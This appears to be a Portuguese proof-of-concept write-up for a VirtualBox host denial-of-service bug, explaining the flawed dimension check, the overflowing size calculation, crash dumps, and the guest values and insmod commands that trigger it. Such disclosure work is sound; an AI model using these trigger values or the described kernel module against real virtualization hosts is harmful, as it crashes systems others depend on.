
Prova de conceito para CVE-2026-35250, um estouro de inteiro no DevVGA_VBVA do VirtualBox que leva à negação de serviço por meio de um convidado privilegiado. Inclui análise assistida por IA e módulo de exploração.
meu primeiro cve é um 2.3
O problema está em src/VBox/Devices/Graphics/DevVGA_VBVA.cpp:740-743 ASSERT_GUEST_MSG_RETURN onde a verificação de dimensões usa || (OU) em vez de && (E). Um convidado pode fornecer width=0x80000001, height=16 e a verificação passa porque height <= 2048. Então nas linhas 745-746:
cbPointerData = ((((SafeShape.u32Width + 7) / 8) * SafeShape.u32Height + 3) & ~3)
+ SafeShape.u32Width * 4 * SafeShape.u32Height;
A verificação subsequente na linha 748 (cbPointerData <= cbShape - 24) passa com o valor truncado (80 <= 104). O host aloca 80 bytes via RTMemAlloc, copia 80 bytes da VRAM do convidado e então passa dimensões 2.147.483.649 × 16 com um buffer de 80 bytes para , que processa a forma do cursor usando as dimensões enormes.
pfnVBVAMousePointerShapeo host está computando a largura da linha de varredura da máscara AND a partir das dimensões com overflow e lendo além do buffer de heap de 80 bytes.
Crash 1 — Escrita em ponteiro NULL (thread de exibição da GUI):
ExceptionCode=0xc0000005 ExceptionAddress=VirtualBoxVM.dll+0x000267a2
ExceptionInformation[0]=1 (WRITE) ExceptionInformation[1]=0x0000000000000000 (NULL)
rsi=0x80000001 (POISON_WIDTH) r13=0x10 (POISON_HEIGHT=16) rcx=0x0 (NULL dest)
Crash 2 — Leitura além do heap (thread EMT/principal):
ExceptionCode=0xc0000005 ExceptionAddress=VBoxC.dll+0x000d1194
ExceptionInformation[0]=0 (READ) ExceptionInformation[1]=0x00000263cefe8fd0
rax=0x80000001 (POISON_WIDTH) r12=0x10000001 ((WIDTH+7)/8 = largura da linha de varredura AND)
r13=0x10 (POISON_HEIGHT=16) r8=0x80000001 (POISON_WIDTH)
Como o host é 64 bits, não acredito que seja um problema explorável. Para "explorar", faça isto no convidado:
# Convidado: compilar e carregar
cd /path/to/poc
make
sudo insmod gfx1_exploit.ko